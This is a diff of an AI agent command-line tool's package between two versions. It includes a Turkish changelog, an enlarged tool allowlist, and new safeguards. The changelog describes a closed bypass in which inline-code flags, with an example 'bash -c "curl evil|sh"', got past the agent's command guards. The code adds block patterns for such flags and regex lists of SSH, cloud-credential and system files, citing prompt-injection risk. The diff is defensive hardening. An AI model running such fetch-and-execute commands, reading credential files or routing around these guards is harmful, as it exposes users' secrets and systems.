natureco-cli 5.35.0 → 5.37.0

package/CHANGELOG.md

@@ -2,6 +2,30 @@
 
 All notable changes to NatureCo CLI will be documented in this file.
 
+## [5.37.0] - 2026-07-05 — "GÜVENLİK: 2 açık kapatıldı (inline-eval bypass + hassas dosya erişimi)"
+
+Sistematik guvenlik taramasi (POC'larla). 20 yikici komuttan 19'u zaten engelliydi; 2 gercek acik bulundu ve kapatildi.
+
+### 🔒 Güvenlik açıkları (kapatıldı)
+- **Inline-kod exec bypass (KRİTİK)**: `node`/`python` allowlist'te (kod calistirma icin gerekli) oldugundan `node -e "require('fs').rmSync(...)"` / `python -c "..."` / `bash -c "curl evil|sh"` gibi INLINE kod, hem exec-allowlist'i hem yikici-komut guard'ini ATLIYORDU (guard komut string'inde "rm -rf" ararken inline kod fs.rmSync kullanabilir). Artik `-e`/`--eval`/`-p`/`-c`/`-r` inline-kod flag'leri + `eval` engellendi; mesru `node script.js` calistirma korunur. Inline kod icin sandboxli `code_execution` araci var.
+- **Hassas dosya erisimi**: safe modda `write_file`/`read_file`/`edit_file` SSH anahtarlari (`~/.ssh/`, `id_rsa`, `.pem`), cloud credential (`.aws/credentials`), config secret (`.natureco/config.json`), sistem (`/etc/passwd|shadow`, System32/etc), `.npmrc`/`.git-credentials`/`.netrc` yollarina erisebiliyordu → prompt-injection ile SSH backdoor / credential sizintisi riski. Artik bu yollar safe modda engelli (goreceli `../../etc/shadow` traversal dahil); proje dosyalari serbest; full modda sahibin sorumlulugunda acilir.
+
+Katmanli guvenlik: yikici-komut guard + inline-eval guard + exec-allowlist + hassas-yol guard + 7 araclik safe-mode allowlist. 4 yeni guvenlik regresyon testi. **509 test yeşil**, ESLint temiz.
+
+## [5.36.0] - 2026-07-05 — "13 PHANTOM ARAÇ TANITILDI + feedback body genisletmesi"
+
+Sistematik denetim: 90 aracin agentic prompt/allowlist ile karsilastirmasi → **70 arac ajana HIC tanitilmamisti (phantom)**. Yuksek-degerli + guvenli + key gerektirmeyenler tanitildi (kullanicinin "bende olup uygulamada olmayan tool'lari ekle" hedefi).
+
+### ✨ Eklenen (mevcuttu ama ajana kapali/gorunmezdi)
+- **grep_search** (kod tabaninda icerik arama), **git** (ozel arac, operation-bazli), **http_request** (API/webhook), **code_execution** (python/node/bash sandbox), **notebook_edit** (Jupyter), **clarify** (netlestirme sorusu).
+- **macOS asistan**: `calendar_add`, `reminder_add`, `notes_add`, `mac_notify` (Takvim/Hatirlatici/Notlar/bildirim — Windows'ta zarafetle "sadece macOS" der, kullanicinin Mac'inde calisir).
+- **Medya**: `image_generation`, `text_to_speech`, `speech_to_text`.
+
+### 🐛 Düzeltme
+- **`buildFeedback` genisletildi**: http_request gibi araclar `done` donuyor ama sonucu (body) modele GERI DONMUYORDU → ajan "arac calismiyor" sanip 9 araca sapiyordu. Artik body/text/transcript/data/matches vb. genis alan seti + bilinmeyen alanlar JSON'la geri verilir. (E2E: http_request tek cagirida yaniti dogru dondurdu.)
+
+Doğrulama: grep_search/git/http_request/code_execution ajan uzerinden E2E; **506 test yeşil**, ESLint temiz.
+
 ## [5.35.0] - 2026-07-05 — "WEB ARAMA + TODO + GIT-ZINCIRI DUZELTMELERI (sistematik denetim devam)"
 
 Kullanicinin "tum ozellikleri tek tek test et" talebiyle sistematik denetime devam edildi; ayni kok-neden deseni (arac var ama agentic promptta hic tanitilmamis/yanlis dosya adi) 3 yerde daha bulundu.

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "natureco-cli",
-  "version": "5.35.0",
+  "version": "5.37.0",
   "description": "OpenClaw'dan daha güvenli, daha hızlı, daha ucuz AI agent CLI. Multi-agent, self-evolving skills, audit log, maliyet optimizasyonu ve NatureCo platform-native.",
   "bin": {
     "natureco": "bin/natureco.js"

package/src/tools/agentic-runner.js

@@ -21,7 +21,15 @@ const os = require('os');
 // icinde approvals politikasini uyguluyor (isSafeCommand → direkt; tehlikeli → red;
 // digerleri → allowlist/full moda gore). Yani keyfi/yikici komut calismaz.
 // Diger ~85 arac (discord, telegram, cron, browser...) bilerek DISARIDA.
-const DEFAULT_ALLOWED = ['write_file', 'read_file', 'edit_file', 'skill_view', 'bash', 'file_search', 'list_dir', 'memory_write', 'memory_tree', 'cron_create', 'duckduckgo', 'web_search', 'todo_write'];
+const DEFAULT_ALLOWED = [
+  'write_file', 'read_file', 'edit_file', 'skill_view', 'bash', 'file_search', 'list_dir', 'grep_search',
+  'memory_write', 'memory_tree', 'cron_create', 'duckduckgo', 'web_search', 'todo_write',
+  'git', 'http_request', 'notebook_edit', 'clarify', 'code_execution',
+  // macOS asistan yetenekleri (Windows'ta zarafetle "sadece macOS" der; kullanıcının Mac'inde çalışır)
+  'calendar_add', 'reminder_add', 'notes_add', 'mac_notify',
+  // medya (kullanıcının kendi provider/API'siyle)
+  'image_generation', 'text_to_speech', 'speech_to_text',
+];
 
 const TOOL_ALIASES = {
   write_file: 'write_file', create_file: 'write_file', writefile: 'write_file', write: 'write_file', create: 'write_file', save_file: 'write_file', new_file: 'write_file',
@@ -36,6 +44,13 @@ const TOOL_ALIASES = {
   cron_create: 'cron_create', cron: 'cron_create', schedule_task: 'cron_create', create_cron: 'cron_create',
   duckduckgo_search: 'duckduckgo', duckduckgo: 'duckduckgo', web_search: 'web_search', search_web: 'web_search', internet_search: 'duckduckgo',
   todo_write: 'todo_write', todo: 'todo_write', task_write: 'todo_write', todos: 'todo_write',
+  grep_search: 'grep_search', grep: 'grep_search', ripgrep: 'grep_search', content_search: 'grep_search', search_code: 'grep_search',
+  git: 'git', http_request: 'http_request', http: 'http_request', fetch: 'http_request', curl: 'http_request',
+  notebook_edit: 'notebook_edit', clarify: 'clarify', ask_user: 'clarify', code_execution: 'code_execution', run_code: 'code_execution', code_exec: 'code_execution',
+  calendar_add: 'calendar_add', add_event: 'calendar_add', reminder_add: 'reminder_add', add_reminder: 'reminder_add',
+  notes_add: 'notes_add', add_note: 'notes_add', mac_notify: 'mac_notify', notify: 'mac_notify', notification: 'mac_notify',
+  image_generation: 'image_generation', generate_image: 'image_generation', text_to_speech: 'text_to_speech', tts: 'text_to_speech',
+  speech_to_text: 'speech_to_text', stt: 'speech_to_text', transcribe: 'speech_to_text',
 };
 
 function expandHome(p) {
@@ -44,6 +59,26 @@ function expandHome(p) {
   return p;
 }
 
+// Hassas dosya yolu koruması (safe modda). Coding-agent proje dosyalarina serbest erisir
+// ama kimlik/secret yollari prompt-injection ile suistimal edilebilir (SSH backdoor,
+// credential sizintisi). Full modda (sahibin opt-in'i) bypass edilir.
+const SENSITIVE_READ = [
+  /(^|[\\/])\.ssh[\\/]/i, /id_rsa|id_ed25519|id_ecdsa|id_dsa/i, /\.pem$|\.ppk$|\.key$/i,
+  /(^|[\\/])\.aws[\\/]/i, /gcloud[\\/].*(credential|token)/i, /(^|[\\/])\.npmrc$/i,
+  /(^|[\\/])\.git-credentials$/i, /\.natureco[\\/]config\.json$/i, /(^|[\\/])\.netrc$/i,
+];
+const SENSITIVE_WRITE = [
+  /(^|[\\/])\.ssh[\\/]/i,                 // authorized_keys/config yazma = backdoor
+  /^\/(etc|usr|bin|sbin|boot|sys)[\\/]/i, // mutlak sistem yollari
+  /(^|[\\/])etc[\\/](passwd|shadow|sudoers|hosts|crontab|ssh)/i, // goreceli traversal dahil (../../etc/shadow)
+  /System32[\\/]drivers[\\/]etc/i, /\.aws[\\/]credentials/i,
+];
+function sensitivePathBlocked(p, mode) {
+  const s = String(p || '');
+  const pats = mode === 'write' ? SENSITIVE_WRITE : SENSITIVE_READ;
+  return pats.some((re) => re.test(s));
+}
+
 // Ajanin urettigi komutlar icin ekstra koruma. bash.js kendi politikasini uygular
 // ama varsayilan 'full' mod yikici komutlari (rm -rf gibi) bile gecirir — bu insan
 // icin bilincli olabilir, ama MODELIN urettigi komut icin degil. Bu yuzden agentic
@@ -74,6 +109,14 @@ const AGENT_EXEC_BLOCK_PATTERNS = [
   /\bnpm\s+publish\b/i, /\byarn\s+publish\b/i, /\bpnpm\s+publish\b/i,
   /\bgit\s+push\b/i, /\bgit\s+remote\s+(add|set-url)\b/i,
   /\bnpm\s+(un)?deprecate\b/i, /\bnpm\s+owner\b/i,
+  // INLINE KOD ÇALIŞTIRMA — allowlist bypass'i (node/python izinli ama -e/-c ile keyfi kod
+  // dangerous-guard'i da atlar: "node -e require('fs').rmSync(...)"). Dosya calistirma
+  // ("node script.js") izinli kalir; inline kod icin code_execution araci var.
+  /\b(node|deno|bun)\s+.*(-e|--eval|-p\b|--print)/i,
+  /\b(python3?|py|ruby|perl)\s+.*(-c|-e)\b/i,
+  /\b(bash|sh|zsh|dash|ksh)\s+.*-c\b/i,
+  /\bphp\s+.*-r\b/i,
+  /\beval\b/i,
 ];
 // Full modda ("agentExec: full") acilan computer-use araclari: tarayici otomasyonu,
 // uygulama ac/kapat, GUI (tikla/yaz/ekran goruntusu). Safe modda (varsayilan) KAPALI.
@@ -229,13 +272,21 @@ function buildFeedback(norm, res) {
   const ok = res && res.success !== false;
   if (!ok) return `${norm} HATA: ${(res && res.error) || 'bilinmeyen hata'}`;
   if (norm === 'write_file') return `write_file OK: ${res.path || ''} (${res.size != null ? res.size : '?'} bytes)`;
+  // Modelin GORMESI gereken cikti — genis alan seti (arac cesitliligi icin):
+  // content(read), output/stdout(bash), body(http), text(tts/transcribe), results/items/matches(search),
+  // reply/answer/data/summary/transcript(cesitli). Yoksa tum sonucu (kucuk meta) JSON'la.
   let body = '';
-  if (res.content != null) body = String(res.content).slice(0, 2500);
-  else if (res.output != null) body = String(res.output).slice(0, 2000);
-  else if (res.stdout != null) body = String(res.stdout).slice(0, 2000);
-  else if (res.results != null) body = JSON.stringify(res.results).slice(0, 2000);
-  else if (res.items != null) body = JSON.stringify(res.items).slice(0, 2000);
-  const head = `${norm} OK` + (res.path ? ` (${res.path})` : '');
+  const first = ['content', 'output', 'stdout', 'text', 'transcript', 'body', 'reply', 'answer', 'summary', 'url', 'path'];
+  const jsonish = ['results', 'items', 'matches', 'data', 'events', 'entries', 'files'];
+  for (const k of first) { if (res[k] != null && String(res[k]).trim()) { body = String(res[k]).slice(0, 2500); break; } }
+  if (!body) for (const k of jsonish) { if (res[k] != null) { body = JSON.stringify(res[k]).slice(0, 2000); break; } }
+  if (!body) {
+    // hicbir bilinen alan yok → sonucu oldugu gibi ver (success/error disi anlamli alanlar)
+    const meta = {};
+    for (const k of Object.keys(res)) if (!['success', 'error'].includes(k)) meta[k] = res[k];
+    if (Object.keys(meta).length) body = JSON.stringify(meta).slice(0, 1500);
+  }
+  const head = `${norm} OK` + (res.path ? ` (${res.path})` : (res.status ? ` (HTTP ${res.status})` : ''));
   return body ? `${head}:\n${body}` : head;
 }
 
@@ -285,6 +336,17 @@ async function executeCall(call, opts = {}) {
   }
   if (args.path) args.path = expandHome(args.path);
 
+  // Hassas dosya yolu guard'i (safe modda; full modda sahibin sorumlulugunda). SSH anahtari,
+  // cloud credential, config secret gibi yollara yazma/okumayi engeller (backdoor/sizinti).
+  if (!opts.execFull && args.path) {
+    const wantsWrite = (norm === 'write_file' || norm === 'edit_file');
+    const wantsRead = (norm === 'read_file');
+    if ((wantsWrite && sensitivePathBlocked(args.path, 'write')) || (wantsRead && sensitivePathBlocked(args.path, 'read'))) {
+      records.push({ tool: norm, status: 'error', args: { path: args.path }, error: 'Hassas dosya yolu (guvenli modda engellendi)' });
+      return { records, feedback: `${norm}: "${args.path}" hassas bir yol (SSH anahtari/credential/secret) — guvenli modda ERISILEMEZ. Gerekirse kullanici manuel yapabilir ya da tam mod: NATURECO_AGENT_EXEC=full.` };
+    }
+  }
+
   // Ajan modu guvenlik guard'i: yikici/tehlikeli kabuk komutlarini calistirmadan engelle
   if (norm === 'bash') {
     const cmd = (args.command || args.cmd || '').toString();

package/src/tools/workflow.js

@@ -261,6 +261,14 @@ async function workflow(params) {
         '- duckduckgo_search: internetten anlik arama yap (API key gerekmez, HER ZAMAN calisir). parametreler: query, maxResults.',
         '- web_search: internetten arama (Tavily API key ayarliysa daha zengin sonuc; ayarli degilse hata doner — o zaman duckduckgo_search kullan). parametreler: query, maxResults.',
         '- todo_write: gorev/yapilacaklar listesi yonet. parametre: action (list/add/update/start/done/remove/clear), + action\'a gore diger alanlar.',
+        '- grep_search: dosya ICERIGINDE metin/desen ara (kod tabaninda hizli arama). parametreler: pattern, path, includePattern (opsiyonel glob), maxResults. (bash grep yerine bunu tercih et.)',
+        '- git: git islemi. parametreler: operation (status/diff/log/branches/add/commit), args, message (commit icin). (Basit git icin bunu kullan.)',
+        '- http_request: HTTP istegi at (API cagrisi, webhook, veri cekme). parametreler: url, method, headers, body.',
+        '- code_execution: kod parcasi calistir (sandboxli). parametreler: code, language (python/node/bash).',
+        '- notebook_edit: Jupyter (.ipynb) hucre duzenle. parametreler: filePath, ...',
+        '- clarify: kullaniciya netlestirme sorusu sor (belirsizlik varsa). parametreler: question, options.',
+        '- calendar_add / reminder_add / notes_add / mac_notify: macOS Takvim/Hatirlatici/Notlar/bildirim (kullanici macOS ise; degilse arac "sadece macOS" der).',
+        '- image_generation: gorsel uret. parametre: prompt, size. | text_to_speech: metni sese cevir (text). | speech_to_text: sesi metne cevir (audioPath).',
         '- memory_write: HIZLI tek bilgi kaydet (isim, kisa tercih). parametreler: username ("' + memUser + '"), fact, category. YENI oturumda hatirlanir.',
         '- memory_tree: AGAC-HAFIZA — zengin/kategorize kalici bilgi (proje, karar, teknik not, kisisel detay). action: index|read|search|append; username="' + memUser + '"; append icin: root (1-kisisel|2-teknik|3-kararlar) + branch (dal basligi) + content (yaprak). YENI oturumda hatirlanir.',
         '\nKurallar:',